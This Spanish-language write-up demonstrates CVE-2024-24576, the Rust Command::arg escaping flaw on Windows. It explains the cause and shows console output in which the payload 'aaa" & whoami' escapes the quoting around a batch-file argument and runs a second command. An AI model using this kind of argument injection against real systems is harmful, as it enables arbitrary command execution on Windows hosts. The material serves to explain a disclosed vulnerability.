
Ejemplo de caso de uso de CVE-2024-24576.
Las APIs Command::arg y Command::args establecen en su documentación que los argumentos se pasarán al proceso iniciado tal cual, independientemente del contenido de los argumentos, y no serán evaluados por un shell. Esto significa que debería ser seguro pasar entradas no confiables como argumento.
En Windows, la implementación de esto es más compleja que en otras plataformas, porque la API de Windows solo proporciona una sola cadena que contiene todos los argumentos para el proceso iniciado, y depende del proceso iniciado dividirlos. La mayoría de los programas utilizan el argv estándar del runtime de C, lo que en la práctica resulta en una forma mayoritariamente consistente de dividir los argumentos.
Una excepción es cmd.exe (utilizado, entre otras cosas, para ejecutar archivos por lotes), que tiene su propia lógica de división de argumentos. Esto obliga a la biblioteca estándar a implementar un escape personalizado para los argumentos pasados a archivos por lotes. Desafortunadamente, se informó que nuestra lógica de escape no era lo suficientemente exhaustiva, y era posible pasar argumentos maliciosos que resultarían en una ejecución arbitraria del shell.
Ejecutar el archivo main.rs con los siguientes payloads produce:
C:\Users\frost\testing>cargo run
Compilando testing v0.1.0 (C:\Users\frost\testing)
Finalizado dev [no optimizado + información de depuración] en 0.49s
Ejecutando `target\debug\testing.exe`
ingrese payload aquí
aaa
Salida:
Argumento recibido: aaa
C:\Users\frost\testing>cargo run
Finalizado dev [no optimizado + información de depuración] en 0.01s
Ejecutando `target\debug\testing.exe`
ingrese payload aquí
aaa & whoami
Salida:
Argumento recibido: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finalizado dev [no optimizado + información de depuración] en 0.01s
Ejecutando `target\debug\testing.exe`
ingrese payload aquí
aaa" & whoami
Salida:
Argumento recibido: "aaa\"
desktop-8j2vk8b\frost
Observe el argumento escapado con el " whoami
¡NO ES MI DESCUBRIMIENTO!